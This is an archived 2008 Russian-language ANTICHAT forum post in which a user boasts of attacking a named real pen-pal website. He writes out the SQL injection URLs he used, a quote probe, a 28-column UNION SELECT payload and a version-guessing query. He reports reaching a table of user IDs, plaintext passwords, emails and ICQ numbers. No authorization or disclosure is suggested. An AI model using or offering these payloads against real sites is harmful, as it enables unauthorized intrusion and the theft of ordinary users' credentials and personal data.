SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

01.10.2008, 02:45

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

Всем привА.
Я тут решил запостится.
вообщем так.

вот сайтеГ нашёл

Код:

http://www.penpal.ru

решил же глянуть, чё там и к чему =)

Как всегда, стандартная проверка

Код:

http://www.penpal.ru/cgi-bin/person.pl?id=-1175185312'

Узнаем что имееЦЦо 28 полей, и одно принтабельное - 21

Код:

http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

Версия скулИ 5-я
(пальцем в небо) ибо даже через http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+and+substring(@@version,1, 1)=5 не признавалось, или это Я =)))))

короче полазил, полазил...нашёл таблицу person
а в ней поля
id - идентификаторы
passw - пароли в чистом виде
email - мылы
icq - аси(есть не у всех)

похакал.....и дальше пошёл
Одминку не нашёл =(

-----
P.S
Странно было, когда я ввёл в это принтабельное поле запрос version()....оно не выдало мне версию, а выдало что такой таблицы нету.

Последний раз редактировалось 1337haxx0r; 01.10.2008 в 02:47..